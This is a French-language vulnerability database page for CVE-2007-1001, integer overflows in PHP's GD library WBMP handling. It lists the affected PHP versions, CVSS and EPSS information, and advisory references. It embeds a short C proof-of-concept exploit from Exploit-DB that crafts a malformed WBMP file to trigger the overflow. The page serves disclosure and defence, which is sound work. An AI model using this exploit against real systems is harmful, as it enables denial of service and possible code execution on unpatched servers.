CVE-2007-1001 : Détail

CVE-2007-1001

3.05%V3
Network
2007-04-05 22:00 +00:00
2018-10-16 12:57 +00:00

Alerte pour un CVE

Restez informé de toutes modifications pour un CVE spécifique.
Gestion des alertes

Descriptions

Multiple integer overflows in the (1) createwbmp and (2) readwbmp functions in wbmp.c in the GD library (libgd) in PHP 4.0.0 through 4.4.6 and 5.0.0 through 5.2.1 allow context-dependent attackers to execute arbitrary code via Wireless Bitmap (WBMP) images with large width or height values.

Informations

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-189 Category : Numeric Errors
Weaknesses in this category are related to improper calculation or conversion of numbers.

Metrics

Metric Score Sévérité CVSS Vecteur Source
V2 6.8 AV:N/AC:M/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

EPSS Score

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

EPSS Percentile

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 29823

Date de publication : 2007-04-06 22:00 +00:00
Auteur : Ivan Fratric
EDB Vérifié : Yes

// source: https://www.securityfocus.com/bid/23357/info PHP's GD extension is prone to two integer-overflow vulnerabilities because it fails to ensure that integer values aren't overrun. Successfully exploiting these issues allows attackers to crash the affected application, potentially denying service to legitimate users. Due to the nature of the issues, code execution may also be possible, but this has not been confirmed. PHP 5.2.1 and prior versions are vulnerable. #define BUFSIZE 1000000 #include <stdio.h> int main() { int c; char buf[BUFSIZE]; FILE *fp = fopen("test.wbmp","w"); //write header c = 0; fputc(c,fp); fputc(c,fp); //write width = 2^32 / 4 + 1 c = 0x84; fputc(c,fp); c = 0x80; fputc(c,fp); fputc(c,fp); fputc(c,fp); c = 0x01; fputc(c,fp); //write height = 4 c = 0x04; fputc(c,fp); //write some data to cause overflow fwrite(buf,sizeof(buf),1,fp); fclose(fp); }

Products Mentioned

Configuraton 0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0

Php>>Php >> Version 4.0.0

Php>>Php >> Version 4.0.1

Php>>Php >> Version 4.0.1

Php>>Php >> Version 4.0.1

Php>>Php >> Version 4.0.2

Php>>Php >> Version 4.0.3

Php>>Php >> Version 4.0.3

Php>>Php >> Version 4.0.4

Php>>Php >> Version 4.0.4

    Php>>Php >> Version 4.0.5

    Php>>Php >> Version 4.0.6

    Php>>Php >> Version 4.0.7

    Php>>Php >> Version 4.0.7

    Php>>Php >> Version 4.0.7

    Php>>Php >> Version 4.0.7

    Php>>Php >> Version 4.1.0

    Php>>Php >> Version 4.1.1

    Php>>Php >> Version 4.1.2

    Php>>Php >> Version 4.2

      Php>>Php >> Version 4.2.0

      Php>>Php >> Version 4.2.1

      Php>>Php >> Version 4.2.2

      Php>>Php >> Version 4.2.3

      Php>>Php >> Version 4.3.0

      Php>>Php >> Version 4.3.1

      Php>>Php >> Version 4.3.2

      Php>>Php >> Version 4.3.3

      Php>>Php >> Version 4.3.4

      Php>>Php >> Version 4.3.5

      Php>>Php >> Version 4.3.6

      Php>>Php >> Version 4.3.7

      Php>>Php >> Version 4.3.8

      Php>>Php >> Version 4.3.9

      Php>>Php >> Version 4.3.10

      Php>>Php >> Version 4.3.11

      Php>>Php >> Version 4.4.0

      Php>>Php >> Version 4.4.1

      Php>>Php >> Version 4.4.2

      Php>>Php >> Version 4.4.3

      Php>>Php >> Version 4.4.4

      Php>>Php >> Version 4.4.5

      Php>>Php >> Version 4.4.6

      Php>>Php >> Version 5.0

        Php>>Php >> Version 5.0

          Php>>Php >> Version 5.0

            Php>>Php >> Version 5.0.0

            Php>>Php >> Version 5.0.0

            Php>>Php >> Version 5.0.0

            Php>>Php >> Version 5.0.0

            Php>>Php >> Version 5.0.0

            Php>>Php >> Version 5.0.0

            Php>>Php >> Version 5.0.0

            Php>>Php >> Version 5.0.0

            Php>>Php >> Version 5.0.1

            Php>>Php >> Version 5.0.2

            Php>>Php >> Version 5.0.3

            Php>>Php >> Version 5.0.4

            Php>>Php >> Version 5.0.5

            Php>>Php >> Version 5.1.0

            Php>>Php >> Version 5.1.1

            Php>>Php >> Version 5.1.2

            Php>>Php >> Version 5.1.3

            Php>>Php >> Version 5.1.4

            Php>>Php >> Version 5.1.5

            Php>>Php >> Version 5.1.6

            Php>>Php >> Version 5.2.0

            Php>>Php >> Version 5.2.1

            References

            http://www.vupen.com/english/advisories/2007/2732
            Tags : vdb-entry, x_refsource_VUPEN
            http://secunia.com/advisories/25056
            Tags : third-party-advisory, x_refsource_SECUNIA
            http://secunia.com/advisories/25151
            Tags : third-party-advisory, x_refsource_SECUNIA
            http://security.gentoo.org/glsa/glsa-200705-19.xml
            Tags : vendor-advisory, x_refsource_GENTOO
            http://www.redhat.com/support/errata/RHSA-2007-0162.html
            Tags : vendor-advisory, x_refsource_REDHAT
            http://us2.php.net/releases/4_4_7.php
            Tags : x_refsource_CONFIRM
            http://www.mandriva.com/security/advisories?name=MDKSA-2007:090
            Tags : vendor-advisory, x_refsource_MANDRIVA
            http://secunia.com/advisories/24909
            Tags : third-party-advisory, x_refsource_SECUNIA
            http://www.mandriva.com/security/advisories?name=MDKSA-2007:087
            Tags : vendor-advisory, x_refsource_MANDRIVA
            http://secunia.com/advisories/24945
            Tags : third-party-advisory, x_refsource_SECUNIA
            http://us2.php.net/releases/5_2_2.php
            Tags : x_refsource_CONFIRM
            http://secunia.com/advisories/24924
            Tags : third-party-advisory, x_refsource_SECUNIA
            http://www.securityfocus.com/bid/23357
            Tags : vdb-entry, x_refsource_BID
            http://rhn.redhat.com/errata/RHSA-2007-0155.html
            Tags : vendor-advisory, x_refsource_REDHAT
            http://www.vupen.com/english/advisories/2007/1269
            Tags : vdb-entry, x_refsource_VUPEN
            http://secunia.com/advisories/24965
            Tags : third-party-advisory, x_refsource_SECUNIA
            http://www.securityfocus.com/bid/25159
            Tags : vdb-entry, x_refsource_BID
            http://www.mandriva.com/security/advisories?name=MDKSA-2007:089
            Tags : vendor-advisory, x_refsource_MANDRIVA
            http://secunia.com/advisories/25445
            Tags : third-party-advisory, x_refsource_SECUNIA
            http://secunia.com/advisories/24814
            Tags : third-party-advisory, x_refsource_SECUNIA
            http://www.mandriva.com/security/advisories?name=MDKSA-2007:088
            Tags : vendor-advisory, x_refsource_MANDRIVA
            http://secunia.com/advisories/26235
            Tags : third-party-advisory, x_refsource_SECUNIA
            http://www.redhat.com/support/errata/RHSA-2007-0153.html
            Tags : vendor-advisory, x_refsource_REDHAT
            Cliquez sur le bouton à gauche (OFF), pour autoriser l'inscription de cookie améliorant les fonctionnalités du site. Cliquez sur le bouton à gauche (Tout accepter), pour ne plus autoriser l'inscription de cookie améliorant les fonctionnalités du site.